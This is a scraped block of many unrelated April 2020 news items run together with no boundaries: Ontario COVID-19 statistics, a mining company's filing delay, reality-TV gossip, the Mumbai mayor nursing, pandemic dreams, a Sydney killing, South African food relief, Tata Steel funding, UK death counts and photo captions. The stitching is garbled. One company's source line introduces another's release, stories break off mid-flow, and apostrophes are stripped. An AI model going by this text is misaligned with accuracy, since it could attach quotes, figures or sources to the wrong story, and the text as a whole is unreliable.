Facebook Follow us on Instagram Deep River Hemp +1 (336) 442-9362 deepriverhemp@gmail.com www.deepriverhemp.com Follow us on Facebook SOURCE: Good Hemp, Inc. View source version on accesswire.com:https://www.accesswire.com/587407/Good-Hemp-Partners-with-Deep-River-Hemp Vancouver, British Columbia--(Newsfile Corp. - April 28, 2020) - SALAZAR RESOURCES LIMITED (TSXV: SRL) (FSE: CCG) ("Salazar" or the "Company"), announces that on March 23, 2020, the Canadian Securities Administrators ("CSA") issued a notice stating that securities regulators will be providing co-ordinated relief consisting of a 45-day extension for certain periodic filings required to be made on or prior to June 1, 2020, as a result of the COVID-19 pandemic. As such, the B.C. Securities Commission ("BCSC") has enacted B.C. Instrument 51-515, Temporary Exemption from Certain Corporate Finance Requirements ("BCI 51-515"). The Company intends to rely on the extension provided by BCI 51-515 in respect to the filing of its audited Annual Financial Statements and Management's Discussion and Analysis ("MD&A") for the year ending December 31, 2019. The Company is working diligently and expeditiously with its auditors and expects that it will be able to file its annual documents by May 12, 2020. Furthermore, the Company's directors, officers and other insiders will be subject to a trading blackout until such time as the annual documents are filed. The Company confirms that there have been no material business developments that have occurred subsequent to the filing of the Company's September 30, 2019, interim financial statements on November 28, 2019, that have not already been disclosed by the Company through news releases filed on SEDAR. About Salazar Resources Salazar Resources is a mineral resource company engaged in the exploration and development of mineral deposits in Ecuador and Colombia. The Company has a proven Ecuadorian discovery team led by ex-head of Newmont Ecuador, Fredy Salazar; a team of 40 people including fifteen geologists; three drill rigs and an unrivalled Ecuadorian 'grass roots' network. The Salazar team has been involved with many discoveries in Ecuador, including including Curipamba (Adventus Mining and Salazar Resources), Fruta Del Norte (Lundin Gold), the Mozo deposit, Cangrejos (Lumina Gold) Rio Blanco (Junefield Mineral Resources and Hunnan Gold), and Gaby (ENAMI). Salazar Resources aspires to be Ecuador's leading project generator with the right partners at the right time making the company self-funding. Salazar Resources has a farm-out agreement with Adventus on the Curipamba VMS discovery, whereby Adventus can earn 75% of the project by funding exploration and development expenditures of US$25 million before October 2022. A feasibility study is expected to be completed during 2021, after which Adventus is required to fund 100% of the development and construction expenditures to commercial production. In addition, Salazar Resources has a funded exploration alliance with Adventus on two other projects, Pijili and Santiago, within a defined Area of Interest. Salazar Resources is advancing its 100% owned Ruminahui, Macara, and Los Osos projects with the aim of making Ecuador's next significant copper-gold discovery. ON BEHALF OF THE BOARD OF THE SALAZAR RESOURCES LIMITED Fredy Salazar Salazar Resources (Chief Executive Officer) fsalazar@salazarresources.com Tel: +593 (0) 99 733 6152 Merlin Marr-Johnson Salazar Resources (Executive Vice President) merlin@salazarresources.com Tel: +44 7803 712 280 Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release. This press release contains "forward -looking information" within the meaning of applicable Canadian securities laws. Any statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, identified by words or phrases such as "believes", "anticipates", "expects", "is expected", "scheduled", "estimates", "pending", "intends", "plans", "forecasts", "targets", or "hopes", or variations of such words and phrases or statements that certain actions, events or results "may", "could", "would", "will", "should" "might", "will be taken", or "occur" and similar expressions) are not statements of historical fact and may be forward-looking statements. Forward-looking information herein includes, but is not limited to, statements that address activities, events or developments that Salazar expects or anticipates will or may occur in the future. Although Salazar has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking information, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. There can be no assurance that such information will prove to be accurate, and actual results and future events could differ materially from those anticipated in such information. Accordingly, readers should not place undue reliance on forward-looking information. Salazar undertakes to update any forward-looking information except in accordance with applicable securities laws. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/55044 While the provinces new framework for getting Ontario back on track may have offered cautious glimmers of hope Monday, data analyzed by the Star suggests we are still a long way from the consistent two-to-four week decrease in new daily COVID-19 cases the government wants to see. Premier Doug Ford was quick to point out the framework was just that a road map as he called it for getting things back to normal. Weve come so far with this fight and we just dont want to give up now, the premier said. We want to continue moving forward and the quicker we see the numbers come down, the quicker we can get things back to normal. Last week, the Star examined four data points that gave an indication of how Ontario is faring in its fight against the coronavirus. Today we revisit these points, along with a new one, and provide expert commentary to put the information into context. New Cases Between Sunday and Monday evenings, the province saw the lowest 24-hour increase in cases in more than two weeks, at 433 new cases, according to the Stars survey of Ontarios local public health units. The number of new daily cases has fluctuated greatly since April 13 ranging anywhere from the mid-400s to higher than 700 last Wednesday. But despite this movement, the growth rate is decreasing. New cases of COVID-19 were growing at an average of about 5.5 per cent per day during the week of April 21. Over the past seven days, that rate dropped to about 3.4 per cent per day. As of 7 p.m. Monday evening, there were 16,138 confirmed or probable cases of the virus in the province, according to the Stars count. It could be suggestive of a peak of some sort but you really need to see more of a downward trend in terms of the actual new cases per day before you make any definitive conclusion about whether or not were at the plateau, said Todd Coleman, an epidemiologist and professor at Wilfrid Laurier University. Its a little bit of an artificial sense of comfort to see the number of daily new cases dropping. We still have a ton of cases. We are not out of the woods yet. When it comes to who is being tested in Ontario and when, Colin Furness, an infection control epidemiologist and associate professor at the University of Toronto, said Ontarios testing strategy is inappropriate for how the pandemic is playing out, with asymptomatic transmission. We should be testing people not based on symptoms, but based on risk. We seem to be doing that finally, after dozens of deaths in long-term-care homes, but were not doing it for taxi drivers and grocery store clerks and other at-risk populations, he said. In his own modelling, Furness said that by all measures the curve is dropping but very slowly. It really feels like May is going to be all about this long, slow decline in cases. Deaths Like the number of new daily cases, the number of daily deaths related to COVID-19 also fluctuates greatly. In the two weeks since April 13, the number of dead reported in a single day has ranged from 25 to as high as 66. As of Monday evening, 1,000 people have died of the virus in Ontario, according to the Stars count. The average daily growth rate of deaths over the past seven days is about eight per cent. According to a separate Star count, more than 800 people have so far died in an Ontario long-term-care or retirement home, but its not clear how many of these may be missing from the totals reported by the health units. Speaking on deaths in long-term-care homes, Ashleigh Tuite, an assistant professor of epidemiology at U of Ts Dalla Lana School of Public Health, stressed that it is important to remember that those suffering complications of COVID-19 arent doing so alongside the rest of the health-care system. Basically, people in long-term-care homes tend to die in long-term-care homes. They tend to not interact with the rest of the health-care system in general, she said. This matters when looking at the number of deaths in long-term-care facilities compared to deaths outside of them. Tuite said it would be appropriate for the government to separate those deaths in reporting. (The province publishes a count of deaths in long-term care homes, but its from a different source than the overall total) GTA cases vs. rest of Ontario Last Wednesday, the GTA recorded its highest count for a single day to date with 559 cases of the virus. Since then, the number of new daily cases in the region has trended downward to 327 new cases recorded between Sunday and Monday. Outside the GTA, new daily cases have remained relatively flat after peaking on April 1 with 254 new cases. The last time the number of daily cases went above 200 was on April 17. Its important to factor for reporting lags before assuming that were coming off of the peak of the virus, said Susan Bondy, epidemiologist at the Dalla Lana School of Public Health. Most of the public health agencies are adding a caution to the data, that warns of a lag in the numbers, she said. We dont know that if the numbers are low in the most recent days, it could be that theres a lag in reporting. In some cases, numbers could appear lower because the reporting hasnt caught up with reality. Either way, when you pull back to the epidemiologic report from today that the province put out, it certainly does look as though theres quite a number of days of gradually declining new case counts. So that is optimistic, Bondy said. Recognize that these things can change. One event can create a large number of cases, as weve seen all over the world. Seeing an upward trend doesnt mean that social distancing measures were in place for no reason. If you see a blip upward, that doesnt mean that everything weve done was for naught, she said. Theres just no proof that that curve will always consistently go down. Hospitalizations The number of patients hospitalized with COVID-19 is at an all-time high in Ontario, according to Ontario Public Health. As of the most recent data reported Monday, there were 945 patients hospitalized with COVID-19. Of those, 241 were in intensive care units and of those, 191 were on ventilators numbers that have remained relatively constant since April 8. Wilfrid Lauriers Coleman said that based on the fact that weve seen some of the highest numbers of deaths over the past week or two, we will probably see hospitalization numbers stay high for a while because they are reflective of infection rates over the past two or three weeks. He noted that hospitalization and ICU numbers are only useful insofar as they measure health-care need and the number of more severe cases. Speaking broadly about ICU admissions, Tuite pointed out that the number of people in ICU has stayed quite flat and that also suggests that things are waning, she said. However, a challenge in looking at the data is that its not just the ... rate of people going into the ICU, but that those people are also staying there for a while, she said. Its important to pay attention to the overall rate of how many people are admitted into hospital, said Furness. Once people are admitted, they may stay for weeks and the more who survive, the higher this number gets, he said. Its the rate of growth that matters, and my understanding is that this rate has levelled off and is declining. But it will take some time for discharges to outpace admissions, because it takes longer to get well than it does to get sick. Correction - April 28, 2020: The graph showing patients hospitalized for COVID-19 in Ontario was edited from a previous version. The labels for ICU vented" and "ICU non-vented" were mistakenly transposed in the previous version. Kenyon Wallace is a Toronto-based investigative reporter for the Star. Follow him on Twitter: @KenyonWallace or reach him via email: kwallace@thestar.ca Jenna Moon is a breaking news reporter for the Star and is based in Toronto. Follow her on Twitter: @_jennamoon Meka Jones and Michael Watson seemed ill-matched from the very start on Lifetimes Married at First Sight Season 10. Their biggest problem was Michaels dishonesty about things both big and small, from his job and salary to trips hed taken in the past and the mileage on his car. Michael and Meka tried to make things work, but Meka ultimately asked for a divorce from Michael on Decision Day. At the reunion, the Married at First Sight star said she didnt regret her decision to leave her husband (and his many lies) behind. In a recent exclusive interview with Madame Noire, Meka opened up about how Michaels dishonesty affected her, as well as what happened with that notorious one-month anniversary gift. Meka Jones | MAFS Lifetime via Instagram Michaels dishonesty negatively affected his marriage to Meka from the very beginning Meka and Michaels marital issues began as early as their honeymoon, when they headed off to separate hotel rooms after an argument on the flight to Panama. Meka insisted that her husband had given her an ultimatum, in which he demanded honeymoon sex, on the plane. But when the cameras turned back on, the 25-year-old claimed that Michael acted completely differently and refused to admit what hed said. While the newlywed couple tried to patch things up at the end of their honeymoon and when they returned to Washington, D.C., Michaels lies kept getting in the way of any trust or foundation they might have built. While Michael claimed to be a yoga teacher, Meka showed up for a class he was allegedly slated to teach and was turned awaywith the studios staff informing her that Michael was a janitor, not an instructor, and that he hadnt even paid for the class that night. The Married at First Sight pair also fought bitterly about Michaels job, which changed three times over the course of their eight-week marriage. Meka finally asked her husband for proof of his job and income, but even that was suspect, and she believed hed forged the letter. Ultimately, Meka asked for a divorce on Decision Day. The category analyst insisted that shed never really gotten to know her husband at all because of his dishonesty about virtually everything. Meka recently opened up about the notorious Jamaica trip that had fans scratching their heads In a recent interview with Madame Noire, Meka didnt pull any punches when it came to Michaels dishonesty, even calling him a pathological liar. Many fans expressed skepticism about Michaels one-month anniversary gift: a couples trip to Jamaica to swim with the dolphins. Viewers immediately took to social media to muse that Michael probably made the trip up in order to impress fans and his wife. The Married at First Sight star confirmed that this, too, was one of Michaels many fibs. So about the Jamaica trip, of course it never happened, Meka told Madame Noire. I dont think thats much of a shock to anybody but he actually did show me a Groupon he bought. So he did buy a Groupon for swimming with dolphins in Jamaica; however, he never purchased plane tickets, he never purchased any way to get there, it was literally just the one thing, which was the Groupon, that obviously he got a refund for. The Married at First Sight star claimed that some of Michaels lies were downright absurd As for Michaels other lies, Meka said the small ones were even more concerning than Michaels larger whoppers about his job or income. She explained that, while she could understand why someone might be dishonest about something more important in order to look better to others, lying about inconsequential things was just strange and indicated a deeper underlying issue. I thought the mileage lie was extremely weird, Meka said. I really dont get, why lie about the miles on your car? the Married at First Sight star wondered. Later, she claimed that Michael lied about his former travels and had gone so far as to fake them on social media. And also when he told me that he went to Brazil when he never went to Brazil, she said of Michaels most absurd fibs. He told his entire family he went to Brazil, he posted pictures saying he was in Brazil, tagged Brazil as the location, and he was literally in Mexico the entire time. Phew! No matter what Meka does next, its clear that she made the right decision in ending her marriage to Michael. The world is reuniting and finding new ways of healing amid the pandemic. The outbreak and spread of deadly COVID-19 have doubled up the challenges for people and many are struggling to even get their bare-minimum. But there are also stories of heroism and kind gestures that are the silver linings amid the darkness all around. One such story is of Brihanmumbai Municipal Corporation (BMC) Mayor Kishori Pednekar. She has decided to return to her old calling -- nursing -- to contribute in the fight against COVID-19. Pandemic/India Pednekar was a nurse before joining politics . She has now decided to join the team of BMC's BYL Nair Hospital to aid the COVID-19 patients in their fight against the virus. She visited the hospital and didn't just boost the morale of the COVID-warriors but also volunteered to double up as a nurse for night shifts. Reports claim that Pednekar asked the Nair Hospital administration to nominate five students studying in the second and third year of the nursing training course for the Mayors award and recommended that these nominated nurses be given Rs 500 as special allowance. *AnythingForMumbai* We cant do work from home, we are on the field for you, stay at your home, take care....#covid19 At Nair Hospital@mybmc @AUThackeray pic.twitter.com/LEWnPPw5oW Kishori Pednekar (@KishoriPednekar) April 27, 2020 *AnythingForMumbai* We can't do work from home, we are on the field for you, stay at your home, take care....#covid19 At Nair Hospital@mybmc @AUThackeray, Appreciating her visit to the Nair Hospital in nurses attire, Maharashtra Tourism Minister Aditya Thackeray tweeted. We shall fight against Corona and win the battle. Mumbai Mayor @KishoriPednekar has joined as a nurse at the Nair Hospital. Bollywood celebrities Anushka Sharma and Vicky Kaushal took to their social media accounts to salute her spirit! Mayor Pednekar had earlier informed that 231 zones are out of the containment zone list after they didn't record a single COVID-19 positive case for the last 14 days. According to the Union Ministry of Health and Family Welfare, the total number of positive COVID-19 cases in Maharashtra is 8,068. BCCL As per the latest update on COVID-19, during the daily briefing by Health Ministry on COVID-19, Joint Secretary Lav Agarwal stated that there is no concrete evidence to show that plasma therapy can cure coronavirus. 937 patients in India have died due to the virus. For millions of people around the world dealing with the coronavirus pandemic, sleep is bringing no relief. The horrors of COVID-19, and the frightening ways it has upended daily life, is infecting dreams and exposing feelings of fear, isolation and grief, according to a range of psychologists. The experts say humanity has rarely experienced 'collective dreaming' on such a broad scale in recorded history - and certainly never while also being able to share those dreams in real time. 'As far as I know, no one has dream samples from the flu pandemic of 1918 - and that would probably be the most comparable thing,' Harvard University professor Deidre Barrett told the Associated Press on Tuesday. 'Now we just all have our smartphones by our bed, so you can just reach over and speak it or type it down. Recording our dreams has never been easier.' Sleep is bringing no relief to millions of people impacted by the coronavirus pandemic who are experiencing vivid dreams in which they lose control or are overcome by the illness Barrett, who previously studied the dreams of 9/11 survivors and British prisoners of war in World War II, has already collected 6,000 dream samples from about 2,400 people during the current coronavirus crisis. The samples come from people around the world - with many experiencing remarkably similar dreams, showing that the psychological effects of the virus are transcending culture, language and national boundaries. According to Barrett, many people dream they are sick with COVID-19 or are overcome by what seem to be stand-ins for the virus: swarms of bugs, slithering worms, witches, grasshoppers with fangs. Meanwhile, others dream of losing control. In one such dream, the dreamer was held down by infected people who coughed on her. In another, the dreamer came across bands of people shooting at random strangers. Most are lower-level anxiety dreams, not trauma-induced nightmares. But that changes dramatically for frontline health workers, Barrett says. 'The health care providers are the ones who look like a trauma population. They are having flat-out nightmares that reenact the things they're experiencing and ... they all have the theme that "I am responsible for saving this person's life and I'm not succeeding and this person is about to die,''' she said. 'And when they dream about their child or parent getting it, for the care providers there's always the next step in the dream where they realize... "I gave it to them."' A worker with disinfectant is pictured spraying down an ambulance in California earlier this month. The horrors of COVID-19, and the frightening ways it has upended daily life, is infecting dreams and exposing feelings of fear, isolation and grief, according to a range of psychologists Meanwhile, Cornell University professor, Cathy Caruth, is also analyzing dreams of those experiencing the coronavirus outbreak. Caruth says pandemic dreams are reminiscent of the experience of Hiroshima survivors, who worried about invisible radiation exposure, and also of some nightmares described by Vietnam veterans. 'They seem to be in part about things that are hard to grasp, what it means that anybody can be a threat and you can be a threat to everybody,' Caruth said. While people across the world may be experiencing disturbing and vivid dreams, many Americans are reporting that they are struggling to sleep properly amid the coronavirus outbreak. A survey commissioned by SleepStandards interviewed 1,014 Americans about their sleeping patters during the pandemic. . It found that 76.8 percent of people reported their sleep has been affected since the outbreak began spreading across the US with anxiety the most consistent answer about what is keeping respondents up at night. Congress general secretary Priyanka Gandhi Vadra on Tuesday alleged that 100 people have been killed in Uttar Pradesh in the first 15 days of April and demanded a thorough probe in the cases as well as into the "merciless" killing of two priests in Bulandshahr. It is the duty of the government to ascertain the truth behind these murders, which should not be politicised, she said. "100 people have been killed in Uttar Pradesh in the first 15 days of April. Three days ago, bodies of five members of the Pachouri family in Etah were found under mysterious circumstances. No one know what happened to them," she said in tweets in Hindi. "Today, two sadhus sleeping in a temple in Bulandshahr have been killed mercilessly.There should be a thorough probe into such heinous crimes and no one should politicise these incidents at such a time," she said. Two priests were hacked to death allegedly by a villager in Bulandshahr district. Uttar Pradesh Chief Minister Yogi Adityanath has directed senior officials to take strict action against the culprit and submit a detailed report. The Congress leader said it was the responsibility of the UP government to bring out the truth. "The truth should be brought out before the entire state after holding an impartial probe. This is the responsibility of the government," she said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Police have seized a vehicle and are seeking the public's help as they investigate the 'ferocious and brutal' death of a 42-year-old man. Vergel Velasquez died in hospital on New Year's Eve, a day after police found him with severe head injuries in the stairwell of a unit block in Girraween, western Sydney. Police were called to the scene following reports a group of men had fought at the complex. Detectives investigating Mr Velasquez's death seized a white station wagon at Moree in the state's north over the weekend and are speaking with its 49-year-old male owner. Vergel Velasquez died in hospital on New Year's Eve, a day after police found him with severe head injuries in the stairwell of the Girraween unit block in Sydney's west Detectives investigating his death seized a white station wagon at Moree over the weekend and are speaking with its 49-year-old male owner On April 16 police searched two apartments in Granville where they found 'a number of items relevant to the investigation' On April 16 police searched two apartments in Granville where they found 'a number of items relevant to the investigation'. They have also released CCTV footage of six men spotted in the vehicle at a Girraween service station on the afternoon Mr Velasquez was found. Images of three of the men spotted in other locations on the day have also been released, with detectives hoping members of the public can identify them. Detective Superintendent Danny Doherty on Tuesday said Mr Velasquez was the victim of a 'ferocious and brutal attack'. He said the motive for the attack remained unclear and police were looking at Mr Velasquez's past romantic relationships, his associates and his friends. 'It's clear from what we've found so far that he was really a non-violent person, he really wouldn't harm anyone,' Supt Doherty told reporters. Detectives hopemembers of the public can identify six men they believe can assist with enquiries Pictured is a man police believe can assist with enquiries 'For this to happen ... I don't think the community could stand this.' He called Mr Velasquez an innocent victim who lost his life on what should have been a celebration. 'As our inquiries into his death continue, we are calling on the public to come forward with any information they may have to help us give answers to the Velasquez family,' Det Supt Doherty said. SA faces food riots and breakouts from the lockdown Getting food to the vulnerable, needy and poor during the COVID-19 lockdown is now increasingly urgent. Getting food to the vulnerable, needy and poor during the Covid-19 lockdown is now increasingly urgent. If not, South Africa face the specter of slowing down the spread of Covid-19, but large numbers of people dying of starvation, and possible food riots and breakouts of the hungry from the lockdown. The overwhelming majority of South Africans are either unemployed, eke out a living in the informal sector or survives on one form of government social grant. Those who are unemployed, working in the informal sector or are self-employed have no income during the movement, trading and buying restrictions of the lockdown. The restrictions on movement of the lockdown makes it difficult for civil society organisations who distribute food to assist the needy. Even so, civil society organisations and charities do not have the funds and resources to distribute food to all who need it. So far, even the few food parcels being distributed by the state, private sector and civil society organisations, hardly reaches those who need it most. Large numbers of poor South Africans get their food from community feed schemes every day; whether run by the state, civil society organisations or the private sector. Furthermore, millions of children from poor families who received their meals from the state school feeding scheme now are at home under lockdown with no food. Roughly 10 million school-going children get their basic daily food from school feeding schemes. During lockdown such daily meals are not available. They face mass starvation. Not providing food to millions of needy, is a shocking omission in governments Covid-19 emergency plan. There has to be a simple way of food reaching the needy quickly. Providing food to the needy during the lockdown is a government responsibility, but the private sector, and well-off individuals who can contribute, should also do so. Individuals of means can donate food to the needy. As part of a solidarity social pact, government, private sector, civil society and ordinary citizens can club together to provide and distribute food to the needy over the lockdown period. Government must partner with civil society organisations, charities, churches, business and citizens to distribute food to the poor. Retailers could make unused food available to the poor, rather than it to be allowed to go to waste. Food must be distributed door to door to vulnerable families. Civil society organisations and charities who are traditionally involved in distribution food to the need must be given essential service status, given government and business funding. Well-off private citizens must also donate to such food distribution civil society organisations. They must also volunteer their expertise, if practical. The private sector involved in logistics could help with the transport of food. Retailers almost everyday transport food from depots to stores. Food distribution to the poor in outlaying townships and informal settlements could for example piggy-back on such transport. Telecommunications companies could help with either a short message system, social media application or an easy toll-free number for the needy to request or make application for food relief. Every city, township or village could have a coordinating committee of civil society organisations, private sector, government and private individuals which can coordinate the receiving and distribution of food into the community. Government halls, community centres, churches or schools could be used as local food distribution hubs. Although a better food relief strategy during the Covid-19 lockdown for the poor given the complexity of distributing food to the vast numbers of the poor, is to make food vouchers available which can be redeemed at certain retailers. The success of providing food relief to the poor during the lockdown will ultimately determine whether the lockdown explode into social upheaval, riots and breakouts. Off course, the best strategy to provide food is to give a basic income grant to all the unemployed and poor, over the period of the lockdown, which will give people cash in hand, which could be paid out at Post Offices, banks or retailers. As for the argument that there is no public money to provide regular food, a food voucher or a grant to the needy over the lockdown period; the R50bn that government has set aside to foster big black economic empowerment (BEE) industrialists should instead to be used to feed the poor. The terrifying social costs of not providing food to the needy: food riots, people dying of starvation and the deaths that will be caused by an accelerated spread of Covid-19 because the hungry break out of lockdowns, makes it crucial that money be found for food for the needy. William Gumede is Associate Professor, School of Governance, University of the Witwatersrand, and author of Restless Nation: Making Sense of Troubled Times (Tafelberg). This article was first published in the Daily Dispatch. The First Minister of Wales has urged the UK government to step in to help Indian steel major Tata Steel to keep its Port Talbot site, UK's largest steelworks, and other operations in the region afloat and save thousands of jobs amid the coronavirus crisis. Tata Steel employs around 8,385 people in the UK, including about 4,000 people in Port Talbot and 2,800 in other parts of Wales. Mark Drakeford said that the devolved Welsh government alone cannot support Tata Steel to the level it needs, an estimated 500 million pounds. He stressed that while the local government can look into some targeted support, the scale of the rescue is beyond its scope. "If they are very specific and local things that need to be done at Welsh-based sites, that are to do with those sites and things that happen in Wales, then we continue to talk to companies about help that we could provide," Drakeford said at a press conference this week. "But a GBP 500 million investment in the industry is beyond anything the Welsh government could muster and that is because the problems that the GBP 500 million seeks to address are not Welsh-specific problems. They are to do with the global crisis facing the industry," he said. It emerged over the weekend that the Indian steel major is in talks with the UK authorities for a financial package to survive through the lockdown period. "We continue to work with both the UK and Welsh governments to identify what support is available," a company statement said. The support sought is largely understood to comprise a commercial loan that would be repayable when demand for steel recovers. Drakeford said the Welsh government had been in talks with Tata Steel and it was clear the Port Talbot site, the UK's largest steelworks, is important to all parties. "We were there with practical help in 2016 when there was a crisis in steel production. But the scale of the global challenge to steel makers everywhere means the UK government has to step into this space. There are things that will need to be done locally but the global nature means that local solutions themselves will not be sufficient," Drakeford said. Local MP Stephen Kinnock has also been lobbying the government to support the Indian steel major through the crisis and save jobs. "Tata Steel is facing a temporary cashflow shortfall due to the massive disruption that has been caused by COVID-19, and needs a bridging loan to get it through this challenging time," the Opposition Labour MP told 'Wales Online'. "The government's loan scheme for large firms is welcome in principle but it is capped at GBP 50 million, which is only around 10 per cent of what Tata needs. Everyone who cares about the future of British manufacturing must therefore urge the UK government to lift the loan cap so that Tata Steel can ride out this storm and bounce back," he said. The UK government said it had put together a "far-reaching package" of support for all businesses through the coronavirus pandemic, and will continue to "regularly engage with businesses across all sectors, including those in the steel industry". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Midland County commissioners on Monday discussed reinstating the Buy the Basin initiative to encourage local entities and businesses to keep purchases local. County Judge Terry Johnson previously said during a Unified Command Team press conference that he wants to evaluate all purchases of products and services made by the county to non-local suppliers and switch to buying those locally, if applicable. During Mondays meeting, Commissioner Randy Prude suggested broadening the initiative beyond the countys purchases and encourage residents who are business owners to follow suit. Johnson said he hopes adopting the resolution would set an example for residents. I just know from here to the end of the year weve got a lot of rebuilding, recouping to do. If the county could make the statement, and if that statement could affect the rest of the community, I think we would be stronger for it, Prude said. Thats the purpose of trying to bring this up and trying to be the spearhead of instigating this mindset. Johnson said growing up, Buy the Basin was the slogan he remembers Midlanders living by, and hed like to adapt it to the current situation. Midlands economy was hit twice recently, as businesses were forced to close during the coronavirus pandemic, and crashing oil prices led to a series of layoffs. We buy Midland and by buying Midland, we build Midland, Johnson said. A county purchasing official said the county already purchases most of its services and other items locally, but she supported adding more local vendors when possible. Ever since Ive been in purchasing, its always been told to me, and Ive always told my folks, these are the people who pay our taxes, she said. Lets put money back into our own economy boom or bust. The commissioners court appeared to be on board with implementing the resolution, and Johnson said he would add a vote on the item to the next meetings agenda. I really want to see Midland start to heal from this and the sooner, the better, he said. The decision Monday by the Democratic commissioners of the state Board of Elections made New York the first state to cancel its presidential primary. It followed a decision by Senator Bernie Sanders of Vermont to end his presidential campaign, effectively conceding the Democratic nomination to former Vice President Joseph R. Biden Jr. The move Monday angered supporters of Mr. Sanders. They had mounted an email and phone campaign to pressure the Democratic election commissioners to hold the primary so their candidate could amass more delegates to the Democratic National Convention and wield greater influence over the party platform. [Get the latest news and updates on the coronavirus in the New York region.] Death counts keep falling in N.Y. and N.J. Gov. Andrew M. Cuomo of New York said on Monday that 337 more people had died of the virus in New York State, and Gov. Philip D. Murphy of New Jersey reported an additional 106 deaths there. The one-day tolls were less than half of what the two states were reporting at their peaks. With both states showing progress in fighting the virus, Mr. Cuomo and Mr. Murphy have begun to offer details on reopening from the lockdowns in the months ahead. T he death toll linked to coronavirus in England is around 40 per cent higher than previously reported, new figures show. The figures from the Office for National Statistics (ONS), giving details of all fatalities where Covid-19 was on the death certificate, show 21,284 deaths involving Covid-19 in England up to April 17, and which were registered up to April 25. This compared with 15,293 deaths in hospitals in England for the same period, reported by NHS England. The ONS total is 39 per cent higher than the total published by NHS England. In Wales, the ONS showed 1,016 deaths linked to Covid-19 up to April 17 - up 61 per cent from the 632 reported at the time by Public Health Wales. The total difference across England and Wales is around 40 per cent. This difference between the numbers published by the ONS and those given by NHS England and Public Health Wales is because of different methods of counting and reporting. All you need to know from the April 27 UK coronavirus briefing The ONS death figures are based on the number of deaths registered in England and Wales, where Covid-19 was mentioned on the death certificate as deaths involving Covid-19. The number includes all deaths, not just those in hospitals. As the virus saw death toll figures soar, the week ending April 17 also saw England and Wales's highest ever weekly fatalities, with 22,351 recorded. In London during the week ending April 17, more than half of the deaths registered, 55.5 per cent, were linked to Covid-19. Coronavirus hits the UK - In pictures 1 /81 Coronavirus hits the UK - In pictures A deserted Westminster Bridge PA A man wearing a face mask or covering due to the COVID-19 pandemic, walks past customers sat outside a restaurant AFP via Getty Images Boris Johnson addresses the nation on the Coronavirus lockdown Andrew Parsons Runners pass cardboard cutouts of Britain's Queen Elizabeth II and Prince William during the London Marathon in London AP An empty escalator at Charing Coss London Underground tube station Jeremy Selwyn Electronic bilboards displays a message warning people to stay home in Sheffield PA A sign is displayed in the window of a student accommodation building following the outbreak of the coronavirus disease (COVID-19) in Mancheste Reuters People take part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions, in Londo AP People sing and dance in Leicester Square on the eve on the 10PM curfew Reuters Hearts painted by a team of artists from Upfest are seen in the grass at Queen Square, following the coronavirus disease (COVID-19) outbreak in Bristol Reuters Graffiti reads 'good luck and stay safe', as the number of coronavirus disease (COVID-19) cases grow around the world, under a bridge in London Reuters A sign is pictured in Soho, amid the outbreak of the coronavirus disease (COVID-19), in London Reuters Prime Minister Boris Johnson gestures, during a coronavirus briefing in Downing Street, London AP A person runs past posters with a message of hope, as the spread of the coronavirus disease (COVID-19) continues in Manchester REUTERS Riot police face protesters who took part in a 'We Do Not Consent' rally at Trafalgar Square, organised by Stop New Normal, to protest against coronavirus restrictions in London AP An image of The Queen eith quotes from her broadcast to the UK and the Commonwealth in relation to the Coronavirus epidemic are displayed on lights in London's Piccadilly Circus PA Military vehicles cross Westminster Bridge after members of the 101 Logistic Brigade delivered a consignment of medical masks to St Thomas' hospital Getty Images Durdle Door in Dorset Reuters Captain Tom Moore via Reuters Mia, aged 8, and Jack, aged 5, take part in "PE with Joe" a daily live workout with Joe Wicks on Youtube to help kids stay fit who have to stay indoors due to the Coronavirus outbreak PA An NHS worker reacts at the Chelsea and Westminster Hospital during the Clap for our Carers campaign in support of the NHS Reuters Goats which have taken over the deserted streets of Llandudno @AndrewStuart via PA Tobias Weller PA Novikov restaurant in London with its shutters pulled down while the restaurant is closed London Landscapes: Hyde Park and the Serpentine, central London. Matt Writtle A newspaper vendor in Manchester city centre giving away free toilet rolls with every paper bought as shops run low on supplies due to fears over the spread of the coronavirus PA Theo Clay looks out of his window next to his hand-drawn picture of a rainbow in Liverpool, as the spread of coronavirus disease (COVID-19) continue Reuters A young man cuts another man's hair on top of a closed hairdresser in Oxford Reuters General view of the new NHS Nightingale Hospital, built to fight against the spread of the coronavirus disease (COVID-19), in London via Reuters Jason Baird is seen dressed as Spiderman during his daily exercise to cheer up local children in Stockport, as the spread of the coronavirus disease (COVID-19) continues Reuters A woman wearing a face mask walks past Buckingham Palace Getty Images A man holds mobile phone displaying a text message alert sent by the government warning that new rules are in force across the UK and people must stay at home PA Medical staff on the Covid-19 ward at the Neath Port Talbot Hospital, in Wales, as the health services continue their response to the coronavirus outbreak. PA Prime Minister Boris Johnson taking part in a virtual Cabinet meeting with his top team of ministers PA A shopper walks past empty shelves in a Lidl store on in Wallington. After spates of "panic buying" cleared supermarket shelves of items like toilet paper and cleaning products, stores across the UK have introduced limits on purchases during the COVID-19 pandemic. Some have also created special time slots for the elderly and other shoppers vulnerable to the new coronavirus. Getty Images People on a busy tube train in London at rush hour PA Mia, aged 8 and her brother Jack, aged 5 from Essex, continue their school work at home, after being sent home due to the coronavirus PA Children are painting 'Chase the rainbows' artwork and springing up in windows across the country Reuters Social distancing in Primrose Hill Jeremy Selwyn A general view of a locked gate at Anfield, Liverpool as The Premier League has been suspended PA Homeless people in London AFP via Getty Images A piece of art by the artist, known as the Rebel Bear has appeared on a wall on Bank Street in Glasgow. The new addition to Glasgow's street art is capturing the global Coronavirus crisis. The piece features a woman and a man pulling back to give each other a kiss PA The Queen leaves Buckingham Palace, London, for Windsor Castle to socially distance herself amid the coronavirus pandemic PA A general view on Grey street, Newcastle as coronavirus cases grow around the world Reuters Matt Raw, a British national who returned from the coronavirus-hit city of Wuhan in China, leaves quaratine at Arrowe Park Hospital on Merseyside PA Britain's Chief Medical Officer Professor Chris Whitty (L) and Chief Scientific Adviser Patrick Vallance 